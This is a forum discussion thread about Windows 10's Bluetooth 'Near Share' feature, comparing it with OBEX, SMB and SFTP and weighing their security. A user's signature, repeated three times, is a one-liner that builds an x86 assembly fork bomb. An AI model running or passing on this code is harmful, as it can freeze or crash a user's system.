Windows 10's Version of AirDrop Lets You Quickly Share Files Between PCs (theverge.com)
Microsoft is testing its "Near Share" feature of Windows 10 in the latest Insider build (17035) today, which will let Windows 10 PCs share documents or photos to PCs nearby via Bluetooth. The Verge reports: A new Near Share option will be available in the notification center, and the feature can be accessed through the main share function in Windows 10. Files will be shared wirelessly, and recipients will receive a notification when someone is trying to send a file. Microsoft's addition comes just a day after Google unveiled its own AirDrop-like app for Android.
I'll second this; Bluetooth proved useful in scraping everything off a Nokia 6310 onto a laptop. Quaint old phones without USB or anything.
Bluetooth file transfer is also pretty mature at this point. I've used it between Windows, Mac, and FreeBSD machines and with old Nokia and new Android phones (it probably works with iOS, though it didn't in the original iPhone). Pairing is a bit annoying, but once that's done it's basically drag and drop.
...
I'm quite annoyed that Apple, Microsoft, and Google are all developing independent protocols for this though. I want an open protocol that works with all of my devices, not a mess of protocols where I can use one between my laptop and Android phone, one between my laptop and iPad, none between my iPad and Android phone, a different one between Windows devices, and so on.
Not sure why we need a new protocol when we've got OBEX.
https://en.wikipedia.org/wiki/...
Like you say it's supported by literally everything.
My Galaxy S5, Windows machine and Mac all support it. Even old feature phones did - in fact that's where it was invented.
As far as pairing goes it's not too bad now. With NFC you can tap to pair, though I've never owned two devices that support it. Even without it you can fiddle around in the GUI once to pair and then click OK on both devices - the PINs are synched automatically. It's about the minimum security that is viable to stop drive by downloads.
I.e this is a solved problem and there's no need for a new protocol. If it is more convenient it will necessarily be less secure. And a vendor specific protocol is obviously not going to be much use with a heterogeneous bunch of devices.
Also if you want more speed Android, Mac, Windows and Linux/BSD all support SMB networking over Wifi. So for a large file you can just copy to a mutually visible network share.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I don't like Apple's push for proprietary interfacrs either but to be fair to them they support OBEX over Bluetooth already, at least for OS-X.
https://en.wikipedia.org/wiki/...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
OBEX started off on serial and IRDA and moved to Bluetooth. You could presumably run it over WiFi - e.g. encapsulate the packets into TCP/IP or UDP. I'm guessing done right - with the right windows size basically - you should be able to get close to the native speed of the WiFi connection.
There's a standard for OBEX over TCP/IP
https://books.google.com/books...
https://i.imgur.com/WhzUaDB.pn...
The problem would be how you'd balance convenience and security. With Bluetooth you need to pair. With Wifi you need to know the password for the network.
So what happens with OBEX over TCP/IP? Both devices would need to be on the same subnet, unless you had some sort of evil NAT avoiding technique to punch through to an external server. But is that what you really want? I.e. allowing anyone to read and write files on the device? OBEX doesn't have any security built in because it was designed for IRDA or Bluetooth where the security comes from proximity or pairing and usually a "This device is trying to connect? Allow once, allow always, deny" dialog. Run it over TCP/IP and you've got an unsecured way to read and write files and that seems dangerous. Even the dialog would be easy to fake unless you do SSL certificate verification which is fine for webservers but sucks for devices on the the same subnet.
Honestly I think I'll stick to SMB shares. The speed of those is limited by the storage device, not the network. You can saturate a Wifi connection with a cheap NAS. You get Wifi security, such as it is these days and you can password protect the shares. Obviously it's not ideal, but it's better than OBEX where you get no security with a naive OBEX over TCP/IP connection.
SFTP isn't too bad either. I like it because Macs listen by default and you have a certain amount of trust in the device identity because of SSH fingerprints. Also AndFTP has a nice Sync feature so you can sync a directory on an Android device with a Mac.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;